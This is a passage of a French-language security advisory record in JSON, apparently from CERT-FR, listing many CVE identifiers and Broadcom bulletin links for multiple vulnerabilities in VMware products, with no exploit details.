          "name": "CVE-2025-15558",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15558"
        },
        {
          "name": "CVE-2026-112945",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112945"
        },
        {
          "name": "CVE-2026-54448",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54448"
        },
        {
          "name": "CVE-2026-102633",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102633"
        },
        {
          "name": "CVE-2025-32414",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32414"
        },
        {
          "name": "CVE-2026-110879",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-110879"
        },
        {
          "name": "CVE-2026-8328",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8328"
        },
        {
          "name": "CVE-2026-26308",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26308"
        },
        {
          "name": "CVE-2026-41256",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41256"
        },
        {
          "name": "CVE-2026-9538",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9538"
        },
        {
          "name": "CVE-2026-6471",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6471"
        },
        {
          "name": "CVE-2026-15806",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15806"
        },
        {
          "name": "CVE-2025-12058",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12058"
        },
        {
          "name": "CVE-2025-1153",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1153"
        },
        {
          "name": "CVE-2026-53789",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53789"
        },
        {
          "name": "CVE-2026-2003",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2003"
        },
        {
          "name": "CVE-2025-15079",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15079"
        },
        {
          "name": "CVE-2026-2673",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2673"
        },
        {
          "name": "CVE-2026-57432",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-57432"
        },
        {
          "name": "CVE-2026-55991",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55991"
        },
        {
          "name": "CVE-2025-1632",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1632"
        },
        {
          "name": "CVE-2025-11412",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11412"
        },
        {
          "name": "CVE-2026-105712",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-105712"
        },
        {
          "name": "CVE-2026-53791",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53791"
        },
        {
          "name": "CVE-2026-49834",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49834"
        },
        {
          "name": "CVE-2026-32282",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32282"
        },
        {
          "name": "CVE-2026-5958",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5958"
        },
        {
          "name": "CVE-2026-33762",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33762"
        },
        {
          "name": "CVE-2026-65915",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65915"
        },
        {
          "name": "CVE-2026-3184",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3184"
        },
        {
          "name": "CVE-2026-50151",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50151"
        },
        {
          "name": "CVE-2026-63381",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63381"
        },
        {
          "name": "CVE-2026-11972",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11972"
        },
        {
          "name": "CVE-2026-55830",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55830"
        },
        {
          "name": "CVE-2025-68121",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-68121"
        },
        {
          "name": "CVE-2024-40896",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-40896"
        },
        {
          "name": "CVE-2025-2099",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2099"
        },
        {
          "name": "CVE-2025-1194",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1194"
        },
        {
          "name": "CVE-2025-6638",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6638"
        },
        {
          "name": "CVE-2026-93572",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93572"
        },
        {
          "name": "CVE-2026-97873",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97873"
        },
        {
          "name": "CVE-2026-75973",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75973"
        },
        {
          "name": "CVE-2026-111064",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111064"
        },
        {
          "name": "CVE-2026-18477",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18477"
        },
        {
          "name": "CVE-2025-14819",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14819"
        },
        {
          "name": "CVE-2025-24928",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-24928"
        },
        {
          "name": "CVE-2026-14679",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14679"
        },
        {
          "name": "CVE-2025-11065",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11065"
        },
        {
          "name": "CVE-2026-107708",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107708"
        },
        {
          "name": "CVE-2026-70461",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70461"
        },
        {
          "name": "CVE-2026-95838",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95838"
        },
        {
          "name": "CVE-2026-46597",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46597"
        },
        {
          "name": "CVE-2026-73073",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73073"
        },
        {
          "name": "CVE-2026-12259",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12259"
        },
        {
          "name": "CVE-2026-112401",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112401"
        },
        {
          "name": "CVE-2026-4786",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4786"
        },
        {
          "name": "CVE-2026-1484",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1484"
        },
        {
          "name": "CVE-2025-4947",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4947"
        },
        {
          "name": "CVE-2026-48775",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48775"
        },
        {
          "name": "CVE-2026-72522",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-72522"
        },
        {
          "name": "CVE-2026-27141",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27141"
        },
        {
          "name": "CVE-2025-61726",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61726"
        },
        {
          "name": "CVE-2026-59902",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59902"
        },
        {
          "name": "CVE-2025-1094",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1094"
        },
        {
          "name": "CVE-2026-112391",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112391"
        },
        {
          "name": "CVE-2026-5704",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5704"
        },
        {
          "name": "CVE-2026-89407",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89407"
        },
        {
          "name": "CVE-2026-34182",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34182"
        },
        {
          "name": "CVE-2026-49835",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49835"
        },
        {
          "name": "CVE-2026-18503",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18503"
        },
        {
          "name": "CVE-2026-10879",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-10879"
        },
        {
          "name": "CVE-2026-86138",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86138"
        },
        {
          "name": "CVE-2026-4372",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4372"
        },
        {
          "name": "CVE-2026-47691",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47691"
        },
        {
          "name": "CVE-2022-24975",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-24975"
        },
        {
          "name": "CVE-2025-21614",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-21614"
        },
        {
          "name": "CVE-2026-6019",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6019"
        },
        {
          "name": "CVE-2026-11816",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11816"
        },
        {
          "name": "CVE-2025-3198",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3198"
        },
        {
          "name": "CVE-2026-78662",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78662"
        },
        {
          "name": "CVE-2026-76816",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76816"
        },
        {
          "name": "CVE-2026-87697",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87697"
        },
        {
          "name": "CVE-2026-96641",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96641"
        },
        {
          "name": "CVE-2026-19542",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19542"
        },
        {
          "name": "CVE-2025-54388",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-54388"
        },
        {
          "name": "CVE-2026-59847",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59847"
        },
        {
          "name": "CVE-2026-9149",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9149"
        },
        {
          "name": "CVE-2026-86140",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86140"
        },
        {
          "name": "CVE-2025-59419",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-59419"
        },
        {
          "name": "CVE-2026-74860",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-74860"
        },
        {
          "name": "CVE-2025-49796",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-49796"
        },
        {
          "name": "CVE-2025-8058",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8058"
        },
        {
          "name": "CVE-2026-40930",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40930"
        },
        {
          "name": "CVE-2026-87866",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87866"
        },
        {
          "name": "CVE-2025-11839",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11839"
        },
        {
          "name": "CVE-2026-63388",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63388"
        },
        {
          "name": "CVE-2026-1489",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1489"
        },
        {
          "name": "CVE-2026-9547",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9547"
        },
        {
          "name": "CVE-2026-81642",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81642"
        },
        {
          "name": "CVE-2026-41007",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41007"
        },
        {
          "name": "CVE-2026-19666",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19666"
        },
        {
          "name": "CVE-2026-81722",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81722"
        },
        {
          "name": "CVE-2026-19032",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19032"
        },
        {
          "name": "CVE-2026-53404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53404"
        },
        {
          "name": "CVE-2026-33816",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33816"
        },
        {
          "name": "CVE-2026-82560",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82560"
        },
        {
          "name": "CVE-2026-56132",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56132"
        },
        {
          "name": "CVE-2026-12372",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12372"
        },
        {
          "name": "CVE-2026-2004",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2004"
        },
        {
          "name": "CVE-2026-0672",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0672"
        },
        {
          "name": "CVE-2026-49839",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49839"
        },
        {
          "name": "CVE-2026-93446",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93446"
        },
        {
          "name": "CVE-2026-96229",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96229"
        },
        {
          "name": "CVE-2026-47770",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47770"
        },
        {
          "name": "CVE-2026-41246",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41246"
        },
        {
          "name": "CVE-2026-33481",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33481"
        },
        {
          "name": "CVE-2026-54874",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54874"
        },
        {
          "name": "CVE-2026-67213",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67213"
        },
        {
          "name": "CVE-2026-71557",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71557"
        },
        {
          "name": "CVE-2026-55833",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55833"
        },
        {
          "name": "CVE-2025-30204",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-30204"
        },
        {
          "name": "CVE-2026-18938",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18938"
        },
        {
          "name": "CVE-2018-6952",
          "url": "https://www.cve.org/CVERecord?id=CVE-2018-6952"
        },
        {
          "name": "CVE-2026-114690",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114690"
        },
        {
          "name": "CVE-2026-24137",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24137"
        },
        {
          "name": "CVE-2025-5914",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5914"
        },
        {
          "name": "CVE-2026-116591",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116591"
        },
        {
          "name": "CVE-2017-8806",
          "url": "https://www.cve.org/CVERecord?id=CVE-2017-8806"
        },
        {
          "name": "CVE-2026-59198",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59198"
        },
        {
          "name": "CVE-2026-111749",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111749"
        },
        {
          "name": "CVE-2026-56851",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56851"
        },
        {
          "name": "CVE-2026-40228",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40228"
        },
        {
          "name": "CVE-2026-85731",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85731"
        },
        {
          "name": "CVE-2023-31486",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-31486"
        },
        {
          "name": "CVE-2026-34477",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34477"
        },
        {
          "name": "CVE-2026-65902",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65902"
        },
        {
          "name": "CVE-2026-56819",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56819"
        },
        {
          "name": "CVE-2026-106451",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-106451"
        },
        {
          "name": "CVE-2025-1151",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1151"
        },
        {
          "name": "CVE-2024-24786",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-24786"
        },
        {
          "name": "CVE-2026-7210",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7210"
        },
        {
          "name": "CVE-2026-33231",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33231"
        },
        {
          "name": "CVE-2026-52863",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-52863"
        },
        {
          "name": "CVE-2026-70197",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70197"
        },
        {
          "name": "CVE-2026-7168",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7168"
        },
        {
          "name": "CVE-2026-40691",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40691"
        },
        {
          "name": "CVE-2026-14664",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14664"
        },
        {
          "name": "CVE-2026-9856",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9856"
        },
        {
          "name": "CVE-2019-20633",
          "url": "https://www.cve.org/CVERecord?id=CVE-2019-20633"
        },
        {
          "name": "CVE-2026-103242",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-103242"
        },
        {
          "name": "CVE-2026-76957",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76957"
        },
        {
          "name": "CVE-2026-42012",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42012"
        },
        {
          "name": "CVE-2024-39689",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-39689"
        },
        {
          "name": "CVE-2025-1148",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1148"
        },
        {
          "name": "CVE-2026-77406",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77406"
        },
        {
          "name": "CVE-2026-94440",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94440"
        },
        {
          "name": "CVE-2026-61711",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-61711"
        },
        {
          "name": "CVE-2026-54371",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54371"
        },
        {
          "name": "CVE-2026-68494",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68494"
        },
        {
          "name": "CVE-2025-6921",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6921"
        },
        {
          "name": "CVE-2024-29903",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-29903"
        },
        {
          "name": "CVE-2023-5752",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-5752"
        },
        {
          "name": "CVE-2026-96224",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96224"
        },
        {
          "name": "CVE-2025-66862",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66862"
        },
        {
          "name": "CVE-2026-14670",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14670"
        },
        {
          "name": "CVE-2026-39827",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39827"
        },
        {
          "name": "CVE-2026-77405",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77405"
        },
        {
          "name": "CVE-2026-24122",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24122"
        },
        {
          "name": "CVE-2026-32776",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32776"
        },
        {
          "name": "CVE-2026-4046",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4046"
        },
        {
          "name": "CVE-2026-56444",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56444"
        },
        {
          "name": "CVE-2026-15028",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15028"
        },
        {
          "name": "CVE-2026-9150",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9150"
        },
        {
          "name": "CVE-2026-93560",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93560"
        },
        {
          "name": "CVE-2026-112405",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112405"
        },
        {
          "name": "CVE-2026-79677",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79677"
        },
        {
          "name": "CVE-2026-56289",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56289"
        },
        {
          "name": "CVE-2026-59845",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59845"
        },
        {
          "name": "CVE-2026-46385",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46385"
        },
        {
          "name": "CVE-2026-22772",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-22772"
        },
        {
          "name": "CVE-2026-111497",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111497"
        },
        {
          "name": "CVE-2026-56852",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56852"
        },
        {
          "name": "CVE-2026-42784",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42784"
        },
        {
          "name": "CVE-2025-67221",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-67221"
        },
        {
          "name": "CVE-2026-73581",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73581"
        },
        {
          "name": "CVE-2026-15830",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15830"
        },
        {
          "name": "CVE-2025-0167",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-0167"
        },
        {
          "name": "CVE-2026-16517",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16517"
        },
        {
          "name": "CVE-2026-85977",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85977"
        },
        {
          "name": "CVE-2026-59843",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59843"
        },
        {
          "name": "CVE-2026-33230",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33230"
        },
        {
          "name": "CVE-2026-59899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59899"
        },
        {
          "name": "CVE-2026-47775",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47775"
        },
        {
          "name": "CVE-2025-69420",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69420"
        },
        {
          "name": "CVE-2026-92390",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92390"
        },
        {
          "name": "CVE-2026-34481",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34481"
        },
        {
          "name": "CVE-2025-22227",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22227"
        },
        {
          "name": "CVE-2025-47273",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47273"
        },
        {
          "name": "CVE-2025-15224",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15224"
        },
        {
          "name": "CVE-2026-59204",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59204"
        },
        {
          "name": "CVE-2026-35501",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-35501"
        },
        {
          "name": "CVE-2026-111066",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111066"
        },
        {
          "name": "CVE-2026-86143",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86143"
        },
        {
          "name": "CVE-2026-8286",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8286"
        },
        {
          "name": "CVE-2026-93567",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93567"
        },
        {
          "name": "CVE-2026-85091",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85091"
        },
        {
          "name": "CVE-2026-116590",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116590"
        },
        {
          "name": "CVE-2026-39823",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39823"
        },
        {
          "name": "CVE-2026-86409",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86409"
        },
        {
          "name": "CVE-2026-1462",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1462"
        },
        {
          "name": "CVE-2026-46680",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46680"
        },
        {
          "name": "CVE-2026-22703",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-22703"
        },
        {
          "name": "CVE-2026-0989",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0989"
        },
        {
          "name": "CVE-2026-31790",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-31790"
        },
        {
          "name": "CVE-2026-18024",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18024"
        },
        {
          "name": "CVE-2025-61729",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61729"
        },
        {
          "name": "CVE-2026-83557",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-83557"
        },
        {
          "name": "CVE-2026-15059",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15059"
        },
        {
          "name": "CVE-2025-11494",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11494"
        },
        {
          "name": "CVE-2024-6345",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-6345"
        },
        {
          "name": "CVE-2025-3777",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3777"
        },
        {
          "name": "CVE-2026-63072",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63072"
        },
        {
          "name": "CVE-2026-79657",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79657"
        },
        {
          "name": "CVE-2025-14831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14831"
        },
        {
          "name": "CVE-2026-5545",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5545"
        },
        {
          "name": "CVE-2026-77310",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77310"
        },
        {
          "name": "CVE-2026-95209",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95209"
        },
        {
          "name": "CVE-2026-81634",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81634"
        },
        {
          "name": "CVE-2026-53492",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53492"
        },
        {
          "name": "CVE-2026-65898",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
        },
        {
          "name": "CVE-2026-50149",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50149"
        },
        {
          "name": "CVE-2026-112891",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112891"
        },
        {
          "name": "CVE-2026-86000",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86000"
        },
        {
          "name": "CVE-2026-43895",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-43895"
        },
        {
          "name": "CVE-2026-7017",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7017"
        },
        {
          "name": "CVE-2024-10979",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10979"
        },
        {
          "name": "CVE-2026-84782",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84782"
        },
        {
          "name": "CVE-2025-3576",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3576"
        },
        {
          "name": "CVE-2026-15307",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15307"
        },
        {
          "name": "CVE-2026-5241",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5241"
        },
        {
          "name": "CVE-2026-73281",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73281"
        },
        {
          "name": "CVE-2026-0846",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0846"
        },
        {
          "name": "CVE-2026-87022",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87022"
        },
        {
          "name": "CVE-2026-59889",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59889"
        },
        {
          "name": "CVE-2026-3784",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3784"
        },
        {
          "name": "CVE-2025-1147",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1147"
        },
        {
          "name": "CVE-2026-56864",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56864"
        }
      ],
      "initial_release_date": "2026-11-09T00:00:00",
      "last_revision_date": "2026-11-09T00:00:00",
      "links": [],
      "reference": "CERTFR-2026-AVI-1486",
      "revisions": [
        {
          "description": "Version initiale",
          "revision_date": "2026-11-09T00:00:00.000000"
        }
      ],
      "risks": [
        {
          "description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
        }
      ],
      "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits VMware. Elles permettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur.",
      "title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits VMware",
      "vendor_advisories": [
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39550",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39550"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39545",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39545"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39539",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39539"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39534",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39534"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39548",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39548"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39536",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39536"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39544",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39544"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39549",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39549"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39522",
          "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39522"
        },
        {
          "published_at": "2026-11-06",
          "title": "Bulletin de s\u00e9curit\u00e9 VMware 39530",
